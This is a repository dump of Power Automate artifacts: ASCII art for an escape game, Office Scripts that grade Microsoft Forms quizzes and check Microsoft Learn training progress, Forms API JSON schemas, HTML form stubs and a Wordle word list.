19 | ⠀⠀⠈⢻⣿⣦⡀⠀⠀⢰⡟⠉⢿⣤⣼⠀⠀⣠⣴⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⣠⣿
20 | ⠀⠀⠀⠀⠈⠿⣿⣶⣦⣌⣣⣴⣿⣤⣿⣾⣿⡿⠟⠉⠀⠀⠀⠀⠙⠲⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣶⣿⠿⠟⠃
21 | ⠀⠀⠀⠐⠶⠄⣀⣉⣛⣛⠛⠛⠛⠛⠋⠉⠀⠀⠀⠀⠀⢀⣀⣀⣠⠴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⠲⠦⠤⠄⠀⠀⠈⠉⠛⠛⠿⠿⠿⠿⠿⠿⠿⠿⠛⠛⠉⠀⠀⠀⠀⠀
22 | ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠛⠒⠒⠛⠛⠛⠋⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
23 |
24 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/lamp.txt:
--------------------------------------------------------------------------------
1 | ___!___
2 | / | \
3 | / | \
4 | / | \
5 | /______|______\
6 | \ )|( /
7 | \ ( | ) /
8 | \ =|= /
9 | \__|__/
10 | ,,,
11 | ,;;;;;,
12 | '-===;;( );;===-'
13 | `<>o<>'
14 | //"\\
15 | |/| |\|
16 | | |
17 | | |
18 | | |
19 | | |
20 | lc|
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/map.txt:
--------------------------------------------------------------------------------
1 | x\ \ \ * \ \ \ \ x
2 | x| | | ? | d | ? x
3 | x x
4 | x| | ? | x
5 | x| ? d | x
6 | x? --------? ----x
7 | x| ? | | | ? x
8 | x d ? | ? ? x
9 | x| | | ? ? x
10 | x* \ \ \ \ \ \ \ x
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/pilots journal.txt:
--------------------------------------------------------------------------------
1 | 4+ 5 × 32 – 2
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/rope.txt:
--------------------------------------------------------------------------------
1 | \\//
2 | //
3 | //\\
4 | \\//
5 | //
6 | //\\
7 | \\//
8 | //
9 | //\\
10 | \\//
11 | //
12 | //\\
13 | \\//
14 | //
15 | //\\
16 | \\//
17 | //
18 | //\\
19 | \\//
20 | //
21 | //\\
22 | \\//
23 | //
24 | //\\
25 | \\//
26 | //
27 | //\\
28 | \\//
29 | //
30 | //\\
31 | \\//
32 | //
33 | //\\
34 | \\//
35 | //
36 | //\\
37 | THE ROPE
38 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/skull key.txt:
--------------------------------------------------------------------------------
1 | ....... ..... ....... ....... ...... ......
2 | ....... .... ....... ..... ....... .....
3 | .... ...... ...... ..
4 | ..... .... .. .....
5 | ...... ...... ...:-===-. ....
6 | ...... .. ...... .=@@@@@@@@@@@@#:...
7 | ...... ...... ...... ....:#@@@@@@@@@@@@@@@@@=. ...
8 | ...... ....... ....... .....+@@@@@@@@@@@@@@@@@@@@@+. .....
9 | ....... ...... ...... .....+@@@@@@@@@@@@@@@@@@@@@@@%-. .......
10 | ..... ...... ...... .......-@@@@@@@@@@@@@@@@@@@@@@@@@@*......
11 | .. ....... .... ....::=%@@@%@@@@@@@@@@@@@@@@@@@@@@@@#...
12 | ....... ....-%@@@@+:. .:#@@@@@@@@@@@@@@@@@@@@@@+.
13 | . .... ...:%@@@@- .=@@@@@@@@@@@@@@@@@@@@@%:
14 | . ...... .*@@@@: ....-@@@@@@@@@@@@@@@@@@@@@- ...
15 | .... ...... .=@@@%: ......:@@@@@@@@@@@@@@@@@@@@@- ....
16 | ...... ...... ..... #@@@@#-....+@@@@@@@@@@@@@@@@@@@@@%: ......
17 | ...... ...... ...... *@@@@@@@@@@@@@@@+.:*@@@@@@@@@@@@@@+ ......
18 | ....... ...... ..... .*@@@@@@@@%#*@@@#: ...:%@@@@@@@@@@*. ......
19 | ...... ...... ....... .#@@@@@*:. =@@+ ......+@@@@@@@@+ .......
20 | ....... .... ...... .%@@@@%=.. .#@@#...... :@@@@@@*:.......
21 | ...... ...... .#@@@@@%:.=@@@@*... ..#@@@*: ....
22 | ... ... .... .:#@@@@@@@@@@@@@@@@#---+@@%:
23 | ...... .....*@@@@@@@@@@@@@@@@@@@@@@@@@: ...
24 | ...... .....+@@@@@@@@--#@@@@@@=::#@@@@@+......
25 | ....... ..... .....=@@@@@@@@+.....:+=. .:+*=....... .
26 | ...... ....... ......-%@@@@@@@*. ...... ....... .....
27 | ...... ..... .....:#@@@@@@@*: ....... ...... .......
28 | ..... ...... .....#@@@@@@@%: ..... ....... ......
29 | .. ...... ....*@@@@@@@%- ....... ..... ......
30 | ...... .=@@@@@@@@=. ...... .... .......
31 | .. .... .=@@@@@@@@+. ..... .......
32 | ... .....:%@@@@@@@*. .. ..... ....
33 | . ... ......:#@@@@@@@#: ..... ..
34 | ..... .....*@@@@@@@%-..... ....... ....
35 | ....... ......+@@@@@@@@-. ..... ....... ..... .....
36 | ..... .....=@@@@@@@@+........ ....... ....... .......
37 | ....... .....-%@@@@@@@*. ...... ....... ....... .......
38 | ...... ...:#@@@@@@@%: ....... ..... ....... ........
39 | ...... .#@@@@@@@@@@@-.... .. ....... ....
40 | ... ... ..+@@@@@@@@@@@@@@%-. ......
41 | .....=@@@@@@@@@@@@@@@@@@#: .... ....
42 | ......=@@@@@@@@@@@@@@@@@@@@@@*. ..... ....
43 | .:=. .....:%@@@@@@@@@@@@@@@@@@@@@@@@*. ....... .... .......
44 | .:-. .....:#@@@@@@@@@@@@@@+. .*@@@@@@=........ ...... ...... ....
45 | .:-. .....*@@@@@@@@@@@@@@%.. :*@@+........ ....... ....... .......
46 | .:-. .....+@@@@@@@@@@@@@@@@@+. ........... ....... ...... .......
47 | .:-. ...:%@@@@@@@+.#@@@@@@@@@%-. ..... ...... ....... ........
48 | .:-. -@@@@@@*. ..:#@@@@@@@@@#. .. ....... ..... .......
49 | .:-. .-#@@*: ....-%@@@@@@@-. ...... .......
50 | ..-. .-@@@@=..... .... .....
51 | .:-. .-=........ ..... .
52 | ..-. .... ....... .... ....... ...
53 | .:-. ...... ...... ...... ...... ..... ....
54 | ..-. ...... ........ ...... ...... ....... .......
55 | .. ...... ....... ....... ....... ...... ......
56 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/ChangeConnections_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ChangeConnections_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Custom Form/CustomForm_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Custom Form/CustomForm_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Custom Form/custom form.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | HTML Forms
6 |
7 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Custom Form/fancy custom form.html:
--------------------------------------------------------------------------------
1 |
45 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Custom Form/simple custom form file.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Order Form
5 |
16 | Click on the submit button, and the form will be submittied using the POST method.
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Custom Form/simple custom form.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | The form method="post" attribute
5 |
14 | Click on the submit button, and the form will be submittied using the POST method.
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/EditZippedFile_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/EditZippedFile_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Exam Marker/Exam Marker.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"\n\nfunction main(workbook: ExcelScript.Workbook, aQuestions: intQuestions[], oAnswers: intResponse, iPassScore: number) {\n\n const aAnswers: intAnswers[] = JSON.parse(oAnswers.answers) // convert anwers striing to array\n let data: intQuestScoring[] = []; // new array to pass back each question, answer, points and if passed\n let bCorrectAnswer: boolean; // for each question flag to see if correct\n let iPoints: number = 0 //total points avaialble for test\n let iPoint: number; // points per question \n let iTotalPoints: number = 0; // total points scored\n let sCorrect: string; //correct answer\n\n aQuestions.forEach((item, i, arr) => {\n const sAnswer = aAnswers.find(q => (q.questionId == item.id)).answer1\n if (item.type == \"Question.Choice\") {\n const oQuestInfo: intquestionInfo_Choices = JSON.parse(item.questionInfo);\n const aChoice: intChoices[] = oQuestInfo.Choices;\n const aCorrect: intChoices[] = aChoice.filter(a => (a.IsAnswerKey))\n sCorrect = JSON.stringify(aCorrect);\n\n if (oQuestInfo.ChoiceType == 1) {\n bCorrectAnswer = sAnswer == aCorrect[0].Description;\n } else {\n const aMulitAnswer: [] = JSON.parse(sAnswer)\n const aFindCorrect = aCorrect.filter(a => {\n return sAnswer.includes(a.Description)\n })\n bCorrectAnswer = (aFindCorrect.length == aCorrect.length) && (aCorrect.length == aMulitAnswer.length);\n }\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n iTotalPoints += oQuestInfo.Point;\n }\n\n if (item.type == \"Question.TextField\") {\n const oQuestInfo: intquestionInfo_Text = JSON.parse(item.questionInfo);\n if (oQuestInfo.hasOwnProperty('GradingBasis')) {\n sCorrect = oQuestInfo.GradingBasis;\n const aCorrect: intGradingBasis[] = JSON.parse(sCorrect)\n const aFindCorrect = aCorrect.filter(a => {\n return a.answer == sAnswer\n })\n bCorrectAnswer = aFindCorrect.length > 0\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n\n if (oQuestInfo.Point) {\n iTotalPoints += oQuestInfo.Point;\n }\n }\n }\n\n data.push({\n id: item.id,\n questionInfo: sCorrect,\n type: item.type,\n answer: sAnswer,\n points: iPoint,\n correct: bCorrectAnswer\n })\n })\n\n const oReturn: intReturn = {\n pass: iPoints >= iPassScore, //have they passed\n points: iPoints, //points scored\n passPoints: iPassScore, // required points to pass\n totalPoints: iTotalPoints, // total available points\n data: data // array of answers and correct answers for validation\n }\n \n return (oReturn)\n}\n\ninterface intQuestions {\n id: string,\n questionInfo: string,\n type: string\n}\n\ninterface intResponse {\n id: number,\n responder: string,\n submitDate: string,\n answers: string,\n responderName: string\n}\n\ninterface intQuestScoring {\n id: string,\n questionInfo: string,\n type: string,\n points: number,\n correct: boolean,\n answer: string\n}\n\ninterface intReturn {\n pass: boolean,\n points: number,\n passPoints: number,\n totalPoints: number,\n data: intQuestScoring[]\n}\n\ninterface intAnswers {\n answer1: string,\n questionId: string\n}\n\ninterface intquestionInfo_Choices {\n Choices: intChoices[],\n ChoiceType: number,\n AllowOtherAnswer: boolean,\n OptionDisplayStyle: string,\n ChoiceRestrictionType: string,\n ShowRatingLabel: boolean,\n Point: number\n}\n\ninterface intChoices {\n Description: string;\n FormsProDisplayRTText: string,\n IsAnswerKey: boolean\n}\n\ninterface intquestionInfo_Text {\n Multiline: boolean,\n ShowRatingLabel: boolean,\n Point: number,\n GradingBasis: string\n}\n\ninterface intGradingBasis {\n answer: string,\n questionId: string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aQuestions\",\"index\":0},{\"name\":\"oAnswers\",\"index\":1},{\"name\":\"iPassScore\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aQuestions\",\"oAnswers\",\"iPassScore\"],\"properties\":{\"aQuestions\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"}}}},\"oAnswers\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"number\"},\"responder\":{\"type\":\"string\"},\"submitDate\":{\"type\":\"string\"},\"answers\":{\"type\":\"string\"},\"responderName\":{\"type\":\"string\"}}},\"iPassScore\":{\"type\":\"number\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"pass\":{\"type\":\"boolean\"},\"points\":{\"type\":\"number\"},\"passPoints\":{\"type\":\"number\"},\"totalPoints\":{\"type\":\"number\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"points\":{\"type\":\"number\"},\"correct\":{\"type\":\"boolean\"},\"answer\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aQuestions\",\"comment\":\"\"},{\"name\":\"oAnswers\",\"comment\":\"\"},{\"name\":\"iPassScore\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Power Automate Artifacts/Exam Marker/ExamMarker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Exam Marker/ExamMarker_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Exam Marker/ms forms questions schema.json:
--------------------------------------------------------------------------------
1 | {
2 | "type": "object",
3 | "properties": {
4 | "@@odata.context": {
5 | "type": "string",
6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/questions(questionInfo,type,id)"
7 | },
8 | "value": {
9 | "type": "array",
10 | "items": {
11 | "type": "object",
12 | "properties": {
13 | "id": {
14 | "type": "string"
15 | },
16 | "type": {
17 | "type": "string",
18 | "enum":["Question.TextField","Question.Choice","Question.Date","Question.Ranking","Question.MatrixChoice","Question.MatrixChoice","Question.NPS"]
19 | },
20 | "questionInfo": {
21 | "type": "object",
22 | "anyOf": [
23 | {
24 | "description":"Question.TextField",
25 | "type":"object",
26 | "properties":{
27 | "Multiline":{
28 | "type":"boolean"
29 | },
30 | "ShowRatingLabel":{
31 | "type":"boolean"
32 | },
33 | "Point":{
34 | "type":"integer"
35 | },
36 | "GradingBasis":{
37 | "type": "array",
38 | "items": {
39 | "type":"object",
40 | "properties":{
41 | "answer": {
42 | "type": "string"
43 | },
44 | "questionid": {
45 | "type": "string",
46 | "description":"Only if answer set else not returned"
47 | }
48 | }
49 | }
50 | }
51 | }
52 | },
53 | {
54 | "description":"Question.Choices",
55 | "type":"object",
56 | "properties":{
57 | "ChoiceType":{
58 | "type":"integer",
59 | "enum":[1,2]
60 | },
61 | "AllowOtherAnswer":{
62 | "type":"boolean"
63 | },
64 | "OptionDisplayStyle":{
65 | "type":"string"
66 | },
67 | "ShuffleOptions":{
68 | "type":"boolean"
69 | },
70 | "ShowRatingLabel":{
71 | "type":"boolean"
72 | },
73 | "Point":{
74 | "type":"integer"
75 | },
76 | "Choices":{
77 | "type": "array",
78 | "items": {
79 | "type":"object",
80 | "properties":{
81 | "Description": {
82 | "type": "string"
83 | },
84 | "FormsProDisplayRTText": {
85 | "type": "string"
86 | },
87 | "IsAnswerKey": {
88 | "type": "boolean"
89 | }
90 | }
91 | }
92 | }
93 | }
94 | },
95 | {
96 | "description":"Question.Date",
97 | "type":"object",
98 | "items":{
99 | "properties":{
100 | "Date":{
101 | "type":"boolean"
102 | },
103 | "Time":{
104 | "type":"boolean"
105 | },
106 | "ShuffleOptions":{
107 | "type":"boolean"
108 | },
109 | "ShowRatingLabel":{
110 | "type":"boolean"
111 | },
112 | "Point":{
113 | "type":"integer"
114 | },
115 | "IsMathQuiz":{
116 | "type":"boolean"
117 | }
118 | }
119 | }
120 | },
121 | {
122 | "description":"Question.Ranking",
123 | "type":"object",
124 | "items":{
125 | "GradingBasis":{
126 | "type":"array",
127 | "items": {
128 | "type": "string"
129 | }
130 | }
131 | },
132 | "ShuffleOptions":{
133 | "type":"boolean"
134 | },
135 | "ShowRatingLabel":{
136 | "type":"boolean"
137 | },
138 | "Point":{
139 | "type":"integer"
140 | },
141 | "IsMathQuiz":{
142 | "type":"boolean"
143 | }
144 | },
145 | {
146 | "description":"Question.NPS",
147 | "type":"object",
148 | "items":{
149 | "properties":{
150 | "LeftDescription":{
151 | "type":"string"
152 | },
153 | "RightDescription":{
154 | "type":"string"
155 | },
156 | "ShuffleOptions":{
157 | "type":"boolean"
158 | },
159 | "ShowRatingLabel":{
160 | "type":"boolean"
161 | },
162 | "Point":{
163 | "type":"integer"
164 | },
165 | "IsMathQuiz":{
166 | "type":"boolean"
167 | }
168 | }
169 | }
170 | }
171 | ]
172 | }
173 | }
174 | }
175 | }
176 | }
177 | }
178 |
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Exam Marker/ms forms responses schema.json:
--------------------------------------------------------------------------------
1 | {
2 | "type": "object",
3 | "properties": {
4 | "@@odata.context": {
5 | "type": "string",
6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/responses?$select=id,responder,submitDate,answers,responderName"
7 | },
8 | "value": {
9 | "type": "array",
10 | "items": {
11 | "id": {
12 | "type":"integer"
13 | },
14 | "startDate": {
15 | "type":"string",
16 | "format": "date-time"
17 | },
18 | "submitDate":{
19 | "type":"string",
20 | "format": "date-time"
21 | },
22 | "responder": {
23 | "type":"string",
24 | "format": "email"
25 | },
26 | "responderName": {
27 | "type":"string"
28 | },
29 | "answers":{
30 | "type":"array",
31 | "items":{
32 | "answer1":{
33 | "anyOf": [
34 | {
35 | "type":"string"
36 | },
37 | {
38 | "array":{
39 | "type":"string"
40 | }
41 | }
42 | ]
43 | },
44 | "questionId":{
45 | "type":"string"
46 | }
47 | }
48 | },
49 | "releaseDate": {
50 | "type":"string",
51 | "format": "date-time"
52 | }
53 | }
54 | }
55 | }
56 | }
--------------------------------------------------------------------------------
/Power Automate Artifacts/ExceptionGenerator_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ExceptionGenerator_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/MissingDependencies_1_0_0_1_managed.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/MissingDependencies_1_0_0_1_managed.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/MoveFlowstoDataverse_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/MoveFlowstoDataverse_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/PipeLine_PoC.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/PipeLine_PoC.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/PlatformTools_1_0_0_2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/PlatformTools_1_0_0_2.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/ProcessCSV_1_0_0_1_managed.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ProcessCSV_1_0_0_1_managed.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/ReadHTMLTable_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ReadHTMLTable_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/SuperSwtich_1_0_0_1-1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/SuperSwtich_1_0_0_1-1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/UnprotectExcel_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UnprotectExcel_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/UpdateSPNSecret_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UpdateSPNSecret_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/UpdateSPNSecret_1_0_0_2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UpdateSPNSecret_1_0_0_2.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/XML_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/XML_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/ms learn/MSLearnChecker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ms learn/MSLearnChecker_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/ms learn/Power Platform Training (4).osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"\nfunction main(\n workbook: ExcelScript.Workbook,\n aModules: intModules[],\n aCerts: intCertificates[],\n aRequiredModules: intCollection[],\n aRequiredCerts: intRequired[],\n aRequiredSkills: intRequired[],\n aSkills: intAppliedSkills[]\n ) {\n\n let oReturn: intReturn;\n\n try {\n //create arrays\n let aRequired: intCollData[] = [];\n let aMissing: intCollData[] = [];\n\n //loop over all sections in collection\n aRequiredModules.forEach(section => {\n //loop over all modules in section\n section.items.forEach(item => {\n //to to required seperate arry to make debugging easier\n aRequired.push(item.data\n )\n })\n })\n\n //loop over required array\n aRequired.forEach(item => {\n //if cant find requred module in transcript add to missign array\n if (!aModules.find(m => (m.uid == item.uid))){\n aMissing.push(item);\n } \n })\n\n //loop over rerquired certificates, if cant find in transcript add to missing array\n aRequiredCerts.forEach(item =>{\n if (!aCerts.find(c => (c.name == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n } \n })\n\n//loop over rerquired applied skills, if cant find in transcript add to missing array\n aRequiredSkills.forEach(item => {\n if (!aSkills.find(skill => (skill.title == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n }\n })\n \n //return object\n oReturn = {\n outcome: aMissing.length == 0,\n message: \"\",\n data: aMissing\n\n }\n return oReturn\n\n } catch (err) {\n let sError = JSON.stringify(err)\n \n oReturn = {\n outcome: false,\n message: JSON.stringify(err),\n data: []\n\n }\n }finally{\n return oReturn\n }\n\n}\n\ninterface intReturn {\n outcome: boolean,\n message: string,\n data: intCollData[]\n}\n\ninterface intCollection {\n id: string,\n listId: string,\n name: string,\n userId: string,\n description: string,\n items: {\n id: string,\n listId: string,\n type: string,\n data: intCollData\n }[]\n}\n\ninterface intCollData {\n rawUrl: string,\n uid: string,\n title: string,\n name: string\n}\n\ninterface intModules {\n uid: string,\n title: string,\n description: string,\n durationInMinutes: number,\n completedOn: string\n}\n\ninterface intCertificates {\n name: string,\n certificationNumber: string,\n status: string,\n dateEarned: string,\n expiration: string\n}\n\ninterface intAppliedSkills {\n credentialId: string,\n title: string,\n awardedOn: string\n}\n\ninterface intRequired{\n title:string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aModules\",\"index\":0},{\"name\":\"aCerts\",\"index\":1},{\"name\":\"aRequiredModules\",\"index\":2},{\"name\":\"aRequiredCerts\",\"index\":3},{\"name\":\"aRequiredSkills\",\"index\":4},{\"name\":\"aSkills\",\"index\":5}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aModules\",\"aCerts\",\"aRequiredModules\",\"aRequiredCerts\",\"aRequiredSkills\",\"aSkills\"],\"properties\":{\"aModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"durationInMinutes\":{\"type\":\"number\"},\"completedOn\":{\"type\":\"string\"}}}},\"aCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"},\"certificationNumber\":{\"type\":\"string\"},\"status\":{\"type\":\"string\"},\"dateEarned\":{\"type\":\"string\"},\"expiration\":{\"type\":\"string\"}}}},\"aRequiredModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"},\"userId\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"items\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"data\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}}},\"aRequiredCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aRequiredSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"credentialId\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"awardedOn\":{\"type\":\"string\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"outcome\":{\"type\":\"boolean\"},\"message\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aModules\",\"comment\":\"\"},{\"name\":\"aCerts\",\"comment\":\"\"},{\"name\":\"aRequiredModules\",\"comment\":\"\"},{\"name\":\"aRequiredCerts\",\"comment\":\"\"},{\"name\":\"aRequiredSkills\",\"comment\":\"\"},{\"name\":\"aSkills\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Power Automate Artifacts/wordle/PowerWordle_1_0_0_2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/wordle/PowerWordle_1_0_0_2.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/wordle/power platform words.txt:
--------------------------------------------------------------------------------
1 | Power,Logic,Build,Flow,Model,Azure,Forms,Rules,Apps,Tasks,Lists,Excel,Teams,Query,Share,Start,Clear,State,Scale,Watch,Draft,Forge,Fetch,Sense,Scope,Trace,Input,Ideas,Email,Macro,Event,Proof,Admin,Users,Error,Trial,Timer,Match,Tests,Asset,Check,Click,Close,Cycle,Debug,Delay,Drive,Files,Final,Guard,Image,Index,Limit,Login,Merge,Meter,Offer,Order,Pause,Pivot,Query,Quick,Range,Reads,Risky,Route,Scope,Share,Slide,Smart,Sound,Space,Speed,Start,State,Story,Suite,Supply,Swipe,Table,Theme,Think,Title,Touch,Trade,Train,Trial,Value,Vault,Video,View,Voice,Watch,Wheel,White,Whole,Width,Power,David,
--------------------------------------------------------------------------------
/Power Automate Artifacts/wordle/powordle.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
40 |
41 |
42 |
43 |
Power Wordle
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
